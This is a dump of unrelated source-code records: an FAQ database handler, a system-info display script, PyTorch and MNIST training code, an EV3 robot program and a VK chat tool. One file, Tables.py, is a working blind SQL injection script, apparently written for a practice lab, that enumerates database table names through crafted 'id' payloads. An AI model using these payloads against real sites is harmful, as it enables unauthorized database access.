fetchReplies(cursor, active):\n repliesDE = []\n repliesEN = []\n for i in range(len(active)):\n if active[i] == 1:\n cursor.execute('''SELECT reply_QGerman, reply_AGerman from faq_reply WHERE reply_ID=?''', (i+1,))\n repliesDE.append(cursor.fetchone())\n cursor.execute('''SELECT reply_QEnglish, reply_AEnglish from faq_reply WHERE reply_ID=?''', (i+1,))\n repliesEN.append(cursor.fetchone())\n\n repliesDE = ut.splitArray(repliesDE)\n repliesEN = ut.splitArray(repliesEN)\n\n return repliesDE, repliesEN\n\ndef fetchTriggers(cursor, active):\n triggersDE = []\n triggersEN = []\n\n for i in range(len(active)):\n if active[i] == 1:\n cursor.execute('''SELECT keywordsDE from faq_triggers WHERE trigger_ID=?''', (i+1,))\n triggersDE.append(cursor.fetchone())\n cursor.execute('''SELECT keywordsEN reply_AEnglish from faq_triggers WHERE trigger_ID=?''', (i+1,))\n triggersEN.append(cursor.fetchone())\n\n triggersDE = ut.splitList(triggersDE)\n triggersEN = ut.splitList(triggersEN)\n\n return triggersDE, triggersEN\n\ndef genReadMe(cursor):\n act = []\n active = []\n faqarray = []\n\n cursor.execute('''SELECT active from faq_channel''')\n act = cursor.fetchall()\n\n for i in range(len(act)):\n active.append(act[i][0])\n\n for i in range(len(active)):\n if active[i] == 1:\n subarray = []\n cursor.execute('''SELECT chann_pos FROM faq_channel WHERE id=?''', (i,))\n subarray.append(cursor.fetchone()[0])\n cursor.execute('''SELECT heading FROM faq_channel WHERE id=?''', (i,))\n subarray.append(cursor.fetchone()[0])\n cursor.execute('''SELECT text FROM faq_channel WHERE id=?''', (i,))\n subarray.append(cursor.fetchone()[0])\n faqarray.append(subarray)\n\n faqarray = sorted(faqarray, key=lambda x: x[0])\n\n for i in range(len(faqarray)):\n faqarray[i][1] = ut.createHeader(faqarray[i][1])\n faqarray[i][2] = ut.createFAQChannTxt(faqarray[i][2])\n\n returnarray = []\n\n for i in range(len(faqarray)):\n try:\n returnarray.append(faqarray[i][1])\n returnarray.append(faqarray[i][2])\n except:\n returnarray.append(\"\")\n\n return returnarray\n \n# function that generates an array of faq messages from the \ndef newReadMe(cursor):\n\n # initialize empty arrays to store info in\n active = []\n result = []\n\n # first get all the active states and IDs from the channel\n cursor.execute('''SELECT active, id from faq_channel''')\n act = cursor.fetchall()\n\n # append the states to the active array\n for i in range(len(act)):\n active.append([act[i][1], act[i][0]])\n\n # get everything from the array\n for i in range(len(active)):\n\n line = active[i][0]\n\n if active[i][1] == 1:\n subarray = []\n cursor.execute('''SELECT chann_pos FROM faq_channel WHERE id=?''',(line,))\n subarray.append(cursor.fetchone()[0])\n cursor.execute('''SELECT heading FROM faq_channel WHERE id=?''', (i,))\n subarray.append(cursor.fetchone()[0])\n cursor.execute('''SELECT text FROM faq_channel WHERE id=?''', (i,))\n subarray.append(ut.parseFAQ(cursor.fetchone()[0]))\n\n result.append(subarray)\n\n result = sorted(result, key=lambda x: x[0])\n \n\n return result","sub_path":"faq_dbhandler.py","file_name":"faq_dbhandler.py","file_ext":"py","file_size_in_byte":4468,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"517974386","text":"'''\n 数据表的操作函数库\n'''\n\nimport requests\nfrom lxml import etree\n\n\ndef GetTableCount(main_url, DBName):\n # 表的数量\n # print(\"# 正在尝试获取表的数量\")\n # print(\"*\")\n url = main_url+\"?id=1' and if((select count(*)table_name from information_schema.tables where table_schema='{}')={},1,0) --+\"\n for i in range(20):\n test_url = url.format(DBName, i)\n req = requests.get(test_url)\n tag = etree.HTML(req.text).xpath(\"/html/body/div/font/font/text()\")[0]\n if (tag == 'You are in...........'):\n return i\n\n\ndef GetTableNameLen(main_url, DBName, t):\n # 表名称长度\n # print(\"# 正在尝试获取第%d个数据表名称长度...\"%t)\n # print(\"*\")\n url = main_url+\"?id=1' and if((select length(table_name) from information_schema.tables where table_schema='{}' limit {},1)={},1,0) --+\"\n for i in range(50):\n test_url = url.format(DBName, t-1, i)\n req = requests.get(test_url)\n tag = etree.HTML(req.text).xpath(\"/html/body/div/font/font/text()\")[0]\n if(tag == 'You are in...........'):\n return i\n\n\ndef GetTableName(main_url, DBName,TableNameLen, t):\n # 表名称\n # print(\"# 正在尝试获取第%d个数据表名称\"%t)\n table_name = \"\"\n url = main_url+\"?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='{}' limit {},1),{},1))={},1,0) --+\"\n for i in range(TableNameLen+1):\n for j in range(48, 122):\n test_url = url.format(DBName, t-1, i, j)\n req = requests.get(test_url)\n tag = etree.HTML(req.text).xpath(\"/html/body/div/font/font/text()\")[0]\n if(tag == 'You are in...........'):\n # print(\"*第%d个字母是\"%i+chr(j))\n table_name += chr(j)\n return table_name\n","sub_path":"sqli_code/Tables.py","file_name":"Tables.py","file_ext":"py","file_size_in_byte":1837,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"607403513","text":"import math\nimport os\nfrom typing import Tuple\n\nfrom PIL import ImageDraw, Image\n\ntry:\n from libs import *\nexcept ImportError as e:\n from ..libs import *\n\n\nclass Script(iScriptImageGenerator):\n\n def _draw_text(self, draw, tt, x, y, w, h, font_size=24):\n font = self.getfont(font_size)\n ttw, tth = draw.textsize(tt, font)\n ox, oy = font.getoffset(tt)\n ttw += ox\n tth += oy\n draw.text(\n xy=(\n x + (w / 2) - (ttw / 2),\n y + ((h / 8) * 1) - (tth / 2)\n ),\n text=tt,\n font=font,\n fill=self.color(\"#FFFFFF\"),\n stroke_width=1\n )\n\n def drawicon_thermometer(self, draw: ImageDraw, x, y, w, h):\n v = self.gettemp()\n tw = w / 3\n draw.ellipse(\n xy=(\n x, y + ((h - y) / 4 * 3),\n tw, h\n ),\n fill=self.color(\"#C0C0C0\"),\n outline=None,\n width=1\n )\n draw.ellipse(\n xy=(\n x + ((tw - x) / 4 * 1),\n y,\n x + ((tw - x) / 4 * 3),\n y + ((h - y) / 4 * 1)\n ),\n fill=self.color(\"#C0C0C0\"),\n outline=None,\n width=1\n )\n draw.rectangle(\n xy=(\n x + ((tw - x) / 4 * 1),\n y + ((h - y) / 8 * 1),\n x + ((tw - x) / 4 * 3),\n y + ((h - y) / 8 * 7)\n ),\n fill=self.color(\"#C0C0C0\"),\n outline=None,\n width=1\n )\n draw.ellipse(\n xy=(\n x + 2,\n y + 2 + ((h - y) / 4 * 3),\n tw - 2,\n h - 2\n ),\n fill=self.color(\"#000000\"),\n outline=None,\n width=1\n )\n draw.ellipse(\n xy=(\n x + 2 + ((tw - x) / 4 * 1),\n y + 2, x - 2 + ((tw - x) / 4 * 3),\n y - 2 + ((h - y) / 4 * 1)\n ),\n fill=self.color(\"#000000\"),\n outline=None,\n width=1\n )\n draw.rectangle(\n xy=(\n x + 2 + ((tw - x) / 4 * 1),\n y + 2 + ((h - y) / 8 * 1),\n x - 2 + ((tw - x) / 4 * 3),\n y - 2 + ((h - y) / 8 * 7)\n ),\n fill=self.color(\"#000000\"),\n outline=None,\n width=1\n )\n barcolor = self.color(\"#C0FFC0\")\n barpos = 3\n if int(v) > 55:\n barcolor = self.color(\"#FFFF00\")\n barpos = 2\n if int(v) > 65:\n barcolor = self.color(\"#FF0000\")\n barpos = 1\n draw.ellipse(\n xy=(\n x + 4,\n y + 4 + (h / 4 * 3),\n tw - 4,\n h - 4\n ),\n fill=barcolor,\n outline=None,\n width=1\n )\n draw.rectangle(\n xy=(\n x + 4 + ((tw - x) / 4 * 1),\n y + 4 + (h / 8 * barpos),\n x - 4 + ((tw - x) / 4 * 3),\n y - 4 + (h / 8 * 7)\n ),\n fill=barcolor,\n outline=None,\n width=1\n )\n for j in range(8):\n draw.rectangle(\n xy=(\n x + 6 + ((tw - x) / 4 * 3),\n y + (h / 4) + ((h / 2 / 8) * j),\n x + 26 + ((tw - x) / 4 * 3),\n y + (h / 4) + ((h / 2 / 8) * j)\n ),\n fill=self.color(\"#C0C0C0\"),\n outline=self.color(\"#C0C0C0\"),\n width=3\n )\n tt = f\"{v}°\"\n font = self.getfont(48)\n ttw, tth = draw.textsize(tt, font)\n ox, oy = font.getoffset(tt)\n ttw += ox\n tth += oy\n draw.text(\n (x + w - ttw, y + (h / 2)),\n tt,\n font=font,\n fill=self.color(\"#FFFFFF\"),\n stroke_width=1\n )\n tt = \"Temp\"\n self._draw_text(draw, tt, x, y, w, h)\n\n def drawicon_piestorage(self, draw: ImageDraw, x: int, y: int, w: int, h: int, volume):\n try:\n data = self.getdrivefree(volume)\n except:\n self.drawicon(draw, \"pieerror\", x, y, w, h)\n return\n\n if hasattr(data, \"percent\"):\n pct = int(data.percent)\n else:\n pct = int(data.used / data.total * 100)\n\n gbf = data.free // (2 ** 30)\n pad = 30\n ox = 0\n oy = 0\n if pct == 50:\n ox = 0\n if pct > 50:\n ox = ox * -1\n sa = 0\n ea = sa + math.floor(pct * 3.6)\n slicecolor = self.color(\"#C0FFC0\")\n textcolor = self.color(\"#000000\")\n if pct > 80:\n slicecolor = self.color(\"#FFFF00\")\n textcolor = self.color(\"#000000\")\n if pct > 90:\n slicecolor = self.color(\"#FF0000\")\n textcolor = self.color(\"#FFFFFF\")\n draw.pieslice(xy=(x + pad + ox, y + pad + oy, x + w + ox - pad, y + h + oy - pad), start=sa, end=ea,\n fill=slicecolor, outline=self.color(\"#C0C0C0\"), width=2)\n tt = \"used\"\n ttw, tth = draw.textsize(tt, self.getfont(16))\n ox, oy = self.getfont(16).getoffset(tt)\n ttw += ox\n tth += oy\n draw.text(xy=(x + (w / 2), y + (h / 2) + (tth / 2)), text=tt, font=self.getfont(16), fill=textcolor)\n ox = ox * -1\n oy = oy * -1\n sa = ea\n ea = 360\n textcolor = self.color(\"#FFFFFF\")\n draw.pieslice(xy=(x + pad + ox, y + pad + oy, x + w + ox - pad, y + h + oy - pad), start=sa, end=ea,\n fill=self.color(\"#000000\"), outline=self.color(\"#C0C0C0\"), width=2)\n tt = \"free\"\n ttw, tth = draw.textsize(tt, self.getfont(16))\n ox, oy = self.getfont(16).getoffset(tt)\n ttw += ox\n tth += oy\n draw.text(xy=(x + (w / 2), y + (h / 2) - (tth / 2) + oy - pad), text=tt, font=self.getfont(16),\n fill=textcolor)\n tt = f\"{gbf}Gb free\"\n ttw, tth = draw.textsize(tt, self.getfont(20))\n ox, oy = self.getfont(20).getoffset(tt)\n ttw += ox\n tth += oy\n draw.text(xy=(x + (w / 2) - (ttw / 2), y + h - (tth / 2) - 10), text=tt, font=self.getfont(20),\n fill=self.color(\"#FFFFFF\"))\n\n def drawicon(self, draw: ImageDraw, icon, x, y, w, h, v=None):\n if icon == \"thermometer\":\n self.drawicon_thermometer(draw, x, y, w, h)\n if icon == \"hdd\":\n self.drawicon_piestorage(draw, x, y, w, h, v)\n font = self.getfont(10)\n ttw, tth = draw.textsize(v, font)\n ox, oy = font.getoffset(v)\n ttw += ox\n tth += oy\n draw.text(\n xy=(\n x + ((w / 2) - (ttw / 2)),\n y + (tth / 2) # + 1 - 10\n ),\n text=v,\n font=font,\n fill=self.color(\"#000000\"),\n stroke_width=3\n )\n draw.text(\n xy=(\n x + ((w / 2) - (ttw / 2)),\n y + (tth / 2) - 10\n ),\n text=v,\n font=self.getfont(24),\n fill=self.color(\"#FFFFFF\"),\n stroke_width=1\n )\n if icon == \"cpuload\":\n tt = \"CPU Load\"\n self._draw_text(draw, tt, x, y, w, h)\n tt = \"1 min\"\n ttw, tth = draw.textsize(tt, self.getfont(16))\n ox, oy = self.getfont(16).getoffset(tt)\n ttw += ox\n tth += oy\n draw.text(xy=(x, y + ((h / 8) * 3) - (tth / 2)), text=tt, font=self.getfont(16), fill=self.color(\"#FFFFFF\"))\n tt = \"5 min\"\n ttw, tth = draw.textsize(tt, self.getfont(16))\n ox, oy = self.getfont(16).getoffset(tt)\n ttw += ox\n tth += oy\n draw.text(xy=(x, y + ((h / 8) * 5) - (tth / 2)), text=tt, font=self.getfont(16), fill=self.color(\"#FFFFFF\"))\n tt = \"15 min\"\n ttw, tth = draw.textsize(tt, self.getfont(16))\n ox, oy = self.getfont(16).getoffset(tt)\n ttw += ox\n tth += oy\n draw.text(xy=(x, y + ((h / 8) * 7) - (tth / 2)), text=tt, font=self.getfont(16), fill=self.color(\"#FFFFFF\"))\n for j in range(3):\n draw.rounded_rectangle(\n xy=(x + ttw + 3, y + ((h / 8) * ((j * 2) + 2)) + 3, x + w, y + ((h / 8) * ((j * 2) + 4)) - 3),\n radius=4, outline=self.color(\"#C0C0C0\"), width=2)\n ld = list(v.split())[j]\n ldw = int(((x + w) - (x + ttw + 3)) * (float(ld) / float(self.getprocessorcount())))\n barcolor = self.color(\"#C0FFC0\")\n if float(ld) > .50:\n barcolor = self.color(\"#FFFF00\")\n if float(ld) > .75:\n barcolor = self.color(\"#FF0000\")\n draw.rounded_rectangle(xy=(x + ttw + 3 + 1, y + ((h / 8) * ((j * 2) + 2)) + 4, x + ttw + 3 + 1 + ldw,\n y + ((h / 8) * ((j * 2) + 4)) - 3 - 1), radius=4, fill=barcolor, width=1)\n if icon == \"memory\":\n l = list(v.split())[0]\n p = list(v.split())[1]\n pad = 20\n draw.arc(xy=(x + pad, y + (pad * 2), x + w - pad, y + h), start=120, end=420, fill=self.color(\"#C0C0C0\"),\n width=20)\n draw.arc(xy=(x + pad + 2, y + (pad * 2) + 2, x + w - pad - 2, y + h - 2), start=120 + 1, end=420 - 1,\n fill=self.color(\"#000000\"), width=16)\n arccolor = self.color(\"#C0FFC0\")\n if int(p) == 0:\n p = \"1\"\n if int(p) > 75:\n arccolor = self.color(\"#FFFF00\")\n if int(p) > 90:\n arccolor = self.color(\"#FF0000\")\n ea = 120 + int((420 - 120) * (float(p) / 100))\n draw.arc(xy=(x + pad + 2, y + (pad * 2) + 2, x + w - pad - 2, y + h - 2), start=120, end=ea, fill=arccolor,\n width=16)\n tt = l\n self._draw_text(draw, tt, x, y, w, h)\n tt = p + \"%\"\n ttw, tth = draw.textsize(tt, self.getfont(20))\n ox, oy = self.getfont(20).getoffset(tt)\n ttw += ox\n tth += oy\n draw.text(xy=(x + (w / 2) - (ttw / 2) + 1, y + ((h / 8) * 5) - (tth / 2) + 1), text=tt,\n font=self.getfont(20),\n fill=self.color(\"#000000\"))\n draw.text(xy=(x + (w / 2) - (ttw / 2), y + ((h / 8) * 5) - (tth / 2)), text=tt, font=self.getfont(20),\n fill=self.color(\"#FFFFFF\"))\n if icon == \"datetime\":\n dt = \"as of \" + self.getdateandtime()\n dtw, dth = draw.textsize(dt, self.getfont(12))\n ox, oy = self.getfont(12).getoffset(dt)\n dtw += ox\n dth += oy\n draw.text((w - dtw, h - dth), dt, font=self.getfont(12), fill=self.color(\"#FFFFFF\"))\n\n def createimage(self, width=480, height=320):\n bw = width / 3\n bh = height / 2\n im = Image.new(mode=\"RGB\", size=(width, height))\n draw = ImageDraw.Draw(im)\n self.drawicon(draw, \"thermometer\", 5, 5, bw - 10, bh - 10)\n self.drawicon(draw, \"hdd\", 5 + bw, 5, bw - 10, bh - 10, v=\"/\")\n self.drawicon(draw, \"hdd\", 5 + bw + bw, 5, bw - 10, bh - 10, v=\"/dev/sda1\")\n self.drawicon(draw, \"cpuload\", 5, bh + 5, bw, bh - 10, v=str(self.getloadavg()))\n self.drawicon(draw, \"memory\", 5 + bw, bh + 5, bw, bh - 10, v=str(self.getmemusage(\"Mem\", \"RAM\")))\n self.drawicon(draw, \"memory\", 5 + bw + bw, bh + 5, bw, bh - 10, v=str(self.getmemusage(\"Swap\", \"Swap\")))\n self.drawicon(draw, \"datetime\", 0, 0, width, height)\n return im\n\n def gettemp(self) -> int:\n if not os.path.exists(\"/sys/class/thermal/thermal_zone0/temp\"):\n return -1\n temp = int(read_file_line(\"/sys/class/thermal/thermal_zone0/temp\"))\n return math.floor(temp / 1000)\n\n def getdrivefree(self, path):\n import shutil\n return shutil.disk_usage(path)\n\n def getloadavg(self) -> str:\n try:\n # return \" \".join([str(v) for v in os.getloadavg()])\n return read_file_line(\"/proc/loadavg\")\n except:\n return \"0.00 0.00 0.00 9 99999\"\n\n def getprocessorcount(self) -> int:\n import multiprocessing\n return multiprocessing.cpu_count()\n\n def getmemusage(self, memtype, label) -> str:\n import psutil\n try:\n if memtype == \"Mem\":\n return f\"{label} {int(psutil.virtual_memory().percent)}\"\n if memtype == \"Swap\":\n return f\"{label} {int(psutil.swap_memory().percent)}\"\n return label + \" ?\"\n except:\n return label + \" ?\"\n\n def generate_all_images(self, screen_size: Tuple[int, int]):\n (width, height) = screen_size\n yield self.createimage(width=width, height=height)\n","sub_path":"scripts/sysinfo.py","file_name":"sysinfo.py","file_ext":"py","file_size_in_byte":13139,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"164094151","text":"import torch\r\nimport torch.nn as nn\r\nclass GeneralModel(nn.Module):\r\n \"\"\"\r\n General model feed by yaml config\r\n \"\"\"\r\n def __init__(self, module_list, arg_list):\r\n \"\"\"\r\n PARAMS:\r\n module_list: module_input from utils/process_yaml_model.py\r\n arg_list: arg_input from utils/process_yaml_model.py\r\n \"\"\"\r\n\r\n super(GeneralModel, self).__init__()\r\n #self.module_list = module_list\r\n self.arg_list = arg_list\r\n self.module_list = nn.ModuleList(module_list)\r\n def forward(self, *arg):\r\n arg = list(arg)\r\n for i in range(len(self.module_list)):\r\n module = self.module_list[i]\r\n arg_input = self.arg_list[i]\r\n #print (\"general_modle: \", module)\r\n input = tuple(arg[index] for index in arg_input)\r\n #print (\"now: \", (input[0]).size())\r\n output = (module(*input),)\r\n for i in range(len(output)):\r\n arg[arg_input[i]] = output[i]\r\n \r\n if len(arg) == 1:\r\n \r\n return output[0] \r\n #print (\"----------------------\")\r\n else:\r\n return arg\r\n def inference(self, *arg):\r\n arg = list(arg)\r\n for i in range(len(self.module_list)):\r\n module = self.module_list[i]\r\n arg_input = self.arg_list[i]\r\n #print (\"general_modle: \", module)\r\n input = tuple(arg[index] for index in arg_input)\r\n #print (\"now: \", (input[0]).size())\r\n output = (module.inference(*input),)\r\n output = list(*output)\r\n #print (\"----------------------\")\r\n for i in range(len(output)):\r\n arg[arg_input[i]] = output[i]\r\n if len(arg) == 1:\r\n return arg[0]\r\n else:\r\n return arg","sub_path":"ENV_estimation/Matlab_env_training/steps_torch_env_BEGAN_PRETRAIN/utils/general_model.py","file_name":"general_model.py","file_ext":"py","file_size_in_byte":1832,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"357625760","text":"import os\nimport csv\nimport numpy as np\ndata_list=[]\nlabel_list=[]\ntrain_data_list=[] \ntest_data_list=[]\ntrain_label_list=[]\ntest_label_list=[]\ncsv_file_list = []\ntest_label_list2=[]\n\npath=\"./output0117/\"\nname_dic={\"horie\":0,\"kawashima\":1,\"kogure\":2,\"komori\":3,\"lxy\":4,\"mei\":5}#,\"shn\":6,\"takahashi\":7,\"yoshigawa\":8}\nfor name in [\"horie\",\"kawashima\",\"kogure\",\"komori\",\"lxy\",\"mei\"]:#,\"shn\",\"takahashi\",\"yoshigawa\"]:\n csv_f_path = os.path.join(path,\"{}/\".format(name))\n csv_f_path1 = os.path.join(csv_f_path,\"{}\".format(name))\n for i in range(1,41): \n csv_path2 = csv_f_path1+\"{}.csv\".format(i)\n if not os.path.exists(csv_path2):\n continue\n else:\n csv_file = open(csv_path2)\n csv_reader_lines = csv.reader(csv_file) \n for one_line in csv_reader_lines:\n data_list.append(one_line)\n label_list.append(name_dic[name])\n\n if i%5 ==0:\n csv_file = open(csv_path2)\n csv_reader_lines = csv.reader(csv_file) \n for one_line in csv_reader_lines:\n test_data_list.append(one_line) #将读取的csv分行数据按行存入列表‘date’中\n test_label_list.append(name_dic[name])\n # if len(test_data_list[0]) != 21:\n # print(\"len:\",len(test_data_list[0]))\n\n else:\n \n csv_file = open(csv_path2)\n csv_reader_lines = csv.reader(csv_file) \n for one_line in csv_reader_lines:\n train_data_list.append(one_line) \n train_label_list.append(name_dic[name])\n \n# for i in range(0,int(len(train_label_list))):\n# if len(train_data_list[i])!= 22:\n# print(i) \n#print(type(np.array(train_data_list)))\ntest_data = np.array(train_data_list)\ntrain_data = np.array(train_data_list)\ntrain_label=np.array(train_label_list)\nlabel = np.array(label_list)\ndata=np.array(data_list)\nfor i in range(0,len(train_label_list),28):\n test_label_list2.append(train_label_list[i])\n \ntest_label = np.array(test_label_list2)\n\nprint(label.shape)\nprint(data.shape)","sub_path":"csv_read.py","file_name":"csv_read.py","file_ext":"py","file_size_in_byte":2228,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"458287299","text":"import vk_api\nimport requests\n\ndef Chat(vk):\n options = {\n 1:'1: Удалить человека из беседы',\n 2:'2: Добавить человека в беседу',\n 3:'3: Поменять название беседы',\n 4:'4: Получить информацию о чате',\n 5:'5: Получить информацию о беседах',\n 6:'6: Получить историю сообщений'\n }\n\n print('-------------------')\n print('Выберете действие: ')\n print(options[1])\n print(options[2])\n print(options[3])\n print(options[4])\n print(options[5])\n print(options[6])\n print('-------------------')\n\n option = int(input('Действие: '))\n\n\n if option == 1:\n chat_id = input('chat_id: ')\n user_id = input('user_id: ')\n\n vk.messages.removeChatUser(\n chat_id = chat_id,\n user_id = user_id\n )\n elif option == 2:\n chat_id = input('chat_id: ')\n user_id = input('user_id: ')\n\n vk.messages.addChatUser(\n chat_id = chat_id,\n user_id = user_id\n )\n elif option == 3:\n chat_id = input('chat_id: ')\n\n vk.messages.editChat(\n chat_id = chat_id,\n title = input('Новое название беседы: ')\n )\n elif option == 4:\n chat_id = input('chat_id: ')\n infochat = vk.messages.getChat(chat_id = chat_id)\n print('-------------------')\n print('Тип:',infochat['type'])\n print('Название беседы:',infochat['title'])\n print('Admin:',infochat['admin_id'])\n print('Количество пользователей:',infochat['members_count'])\n print('Пользователи:',infochat['users'])\n print('Id чата:',infochat['id'])\n elif option == 5:\n chats = vk.messages.getConversations()\n print(chats['items'])\n elif option == 6:\n user_id = input('user_id: ')\n\n messages = vk.messages.getHistory(\n count=200,\n user_id=user_id\n )\n print(messages)\n","sub_path":"Chat.py","file_name":"Chat.py","file_ext":"py","file_size_in_byte":2105,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"557772739","text":"#!/usr/bin/env micropython\n\n\nfrom ev3dev2.motor import LargeMotor, MediumMotor, MoveSteering, MoveTank, OUTPUT_A, OUTPUT_B, OUTPUT_C\nfrom ev3dev2.sensor import INPUT_4\nfrom ev3dev2.sensor.lego import InfraredSensor\nfrom ev3dev2.sound import Sound\n\n\nMEDIUM_MOTOR = MediumMotor(address=OUTPUT_A)\nTANK_DRIVER = MoveTank(left_motor_port=OUTPUT_B,\n right_motor_port=OUTPUT_C,\n motor_class=LargeMotor)\nSTEER_DRIVER = MoveSteering(left_motor_port=OUTPUT_B,\n right_motor_port=OUTPUT_C,\n motor_class=LargeMotor)\n\nIR_SENSOR = InfraredSensor(address=INPUT_4)\n\nSPEAKER = Sound()\n\n\nMEDIUM_MOTOR.on_for_seconds(\n speed=-50,\n seconds=1,\n brake=True,\n block=True)\n\nwhile IR_SENSOR.proximity >= 25:\n TANK_DRIVER.on(\n left_speed=75,\n right_speed=75)\n\nTANK_DRIVER.off(brake=True)\n \nSPEAKER.play_file(\n wav_file='/home/robot/sound/Airbrake.wav',\n volume=100,\n play_type=Sound.PLAY_NO_WAIT_FOR_COMPLETE)\n\nMEDIUM_MOTOR.on_for_seconds(\n speed=50,\n seconds=1,\n brake=True,\n block=True)\n\nSTEER_DRIVER.on_for_degrees(\n steering=100,\n speed=75,\n degrees=850,\n brake=True,\n block=True)\n\nwhile IR_SENSOR.proximity >= 25:\n TANK_DRIVER.on(\n left_speed=75,\n right_speed=75)\n\nTANK_DRIVER.off(brake=True)\n\nMEDIUM_MOTOR.on(\n speed=-50,\n brake=False,\n block=False)\n\nSPEAKER.play_file(\n wav_file='/home/robot/sound/Air release.wav',\n volume=100,\n play_type=Sound.PLAY_WAIT_FOR_COMPLETE)\n","sub_path":"Computing-Platforms/EV3/Home-Edition/Core-Robots/Gripp3r/Gripp3r-3.EV3Dev2.py","file_name":"Gripp3r-3.EV3Dev2.py","file_ext":"py","file_size_in_byte":1555,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"600876530","text":"import torch\nimport torch.nn as nn\nimport torchvision\nimport torchvision.transforms as transforms\nfrom torch.utils.tensorboard import SummaryWriter\nimport argparse\nimport os, sys\nsys.path.append(os.path.join(os.path.dirname(__file__), \"../../../../../\"))\nimport utils\nfrom compression_utils import ActivationUniformQuantizerBwOnly\nfrom compression_utils import ActivationPercentageSparsifierBwOnly\nfrom compression_utils import ActivationDropoutSparsifierBwOnly\nimport logging\nfrom subprocess import check_output\n\n# Hyper-parameters \ninput_size = 784\nnum_classes = 10\nnum_epochs = 20\nbatch_size = 100\nhidden_size = 128\n# we quantize the second linear layer of the 2layer MLP\nsample_act_shape = [batch_size * 100, hidden_size]\n# learning_rate = 0.1\n\nclass Net(nn.Module):\n def __init__(self, input_size, hidden_size, num_classes):\n super(Net, self).__init__()\n self.fc1 = nn.Linear(input_size, hidden_size) \n self.fc2 = nn.Linear(hidden_size, num_classes) \n \n def forward(self, x):\n out = self.fc1(x)\n # self.test_out if for checking the compression results \n # during sanity check.\n self.test_out = out\n out = self.fc2(out)\n return out\n\ndef setup_bw_comp_act(model, args):\n assert args.use_quant == False or args.use_sparse == False\n if args.use_quant:\n nbit = args.quant_nbit\n do_stoc = args.quant_stoc, \n do_auto_clip = args.quant_clip\n model.fc2.compressor = ActivationUniformQuantizerBwOnly(model.fc2, nbit, sample_act_shape,\n do_stoc=do_stoc, do_auto_clip=do_auto_clip)\n elif args.use_sparse:\n if args.sparse_perc:\n model.fc2.compressor = \\\n ActivationPercentageSparsifierBwOnly(model.fc2, \n sparse_level=args.sparse_level, per_sample_sparse=args.per_sample_sparse)\n elif args.sparse_dropout:\n model.fc2.compressor = \\\n ActivationDropoutSparsifierBwOnly(model.fc2, sparse_level=args.sparse_level)\n else:\n raise Exception(\"The activation sparsifier type is not specified or supported!\")\n\ndef collect_sample_to_estimate_clip_threshold(model, train_loader):\n for i, (images, labels) in enumerate(train_loader):\n # Reshape images to (batch_size, input_size)\n images = images.reshape(-1, 28*28)\n if torch.cuda.is_available():\n images = images.cuda()\n labels = labels.cuda()\n # Forward pass\n outputs = model(images)\n\n\ndef main():\n parser = argparse.ArgumentParser()\n parser.add_argument(\"--exp_name\", type=str, help=\"The name of the experiment.\")\n parser.add_argument(\"--result_dir\", type=str, help=\"The top level of experiment result directory.\")\n parser.add_argument(\"--use_quant\", action=\"store_true\", help=\"Use activation quantization for backward.\")\n parser.add_argument(\"--quant_nbit\", type=int, help=\"# of bits for quantized activation.\")\n parser.add_argument(\"--quant_clip\", action=\"store_true\", help=\"Do auto clipping for activations.\")\n parser.add_argument(\"--quant_stoc\", action=\"store_true\", help=\"Use stochastic quantization for activation.\")\n parser.add_argument(\"--lr\", type=float, default=0.1, help=\"The learning rate for training\")\n parser.add_argument(\"--seed\", type=int, help=\"Random seed for the run.\")\n parser.add_argument(\"--debug\", action=\"store_true\", help=\"If the job is in debuging mode, git diff must be empty if not specified.\")\n parser.add_argument(\"--use_sparse\", action=\"store_true\", help=\"Use activation sparsifier\")\n parser.add_argument(\"--sparse_perc\", action=\"store_true\", help=\"Use magnitude and percentage based sparsification.\")\n parser.add_argument(\"--sparse_dropout\", action=\"store_true\", help=\"Use dropout style sparsification.\")\n parser.add_argument(\"--per_sample_sparse\", action=\"store_true\", help=\"Whether the sparse_level is with respect to each sample or the entire activation\")\n parser.add_argument(\"--sparse_level\", type=float, default=0.0, help=\"Sparsity level. 0.9 means 90 percent of the act entries will be zeroed out.\")\n args = parser.parse_args()\n\n init_results = utils.experiment_setup(args)\n\n run_folder = utils.get_output_folder(args)\n writer = SummaryWriter(log_dir=run_folder)\n\n # MNIST dataset (images and labels)\n train_dataset = torchvision.datasets.MNIST(root='../../data', \n train=True, \n transform=transforms.ToTensor(),\n download=True)\n\n test_dataset = torchvision.datasets.MNIST(root='../../data', \n train=False, \n transform=transforms.ToTensor())\n\n # Data loader (input pipeline)\n train_loader = torch.utils.data.DataLoader(dataset=train_dataset, \n batch_size=batch_size, \n shuffle=True)\n\n test_loader = torch.utils.data.DataLoader(dataset=test_dataset, \n batch_size=batch_size, \n shuffle=False)\n\n # Logistic regression model\n # model = nn.Linear(input_size, num_classes)\n model = Net(input_size=input_size, hidden_size=hidden_size, num_classes=num_classes)\n setup_bw_comp_act(model, args=args)\n if torch.cuda.is_available():\n model = model.cuda()\n\n # Loss and optimizer\n # nn.CrossEntropyLoss() computes softmax internally\n criterion = nn.CrossEntropyLoss()\n if torch.cuda.is_available():\n criterion = criterion.cuda() \n optimizer = torch.optim.SGD(model.parameters(), lr=args.lr) \n\n # Train the model\n train_loss_list = []\n test_acc_list = []\n total_step = len(train_loader)\n for epoch in range(num_epochs):\n if args.use_quant:\n # determine clipping threshold if necessary\n model.eval()\n model.fc2.compressor.start_per_epoch_setup()\n if args.use_quant and args.quant_clip:\n collect_sample_to_estimate_clip_threshold(model, train_loader)\n logging.info(\"Collected sample for clip threshold estimation for epoch {}\".format(epoch) )\n model.fc2.compressor.end_per_epoch_setup()\n # run the training steps\n model.train()\n logging.info(\"Pre training procedures done for epoch {}\".format(epoch) )\n \n for i, (images, labels) in enumerate(train_loader):\n # print(\"train \", i)\n # start compressor for new epoch\n model.fc2.compressor.start_epoch()\n\n # Reshape images to (batch_size, input_size)\n images = 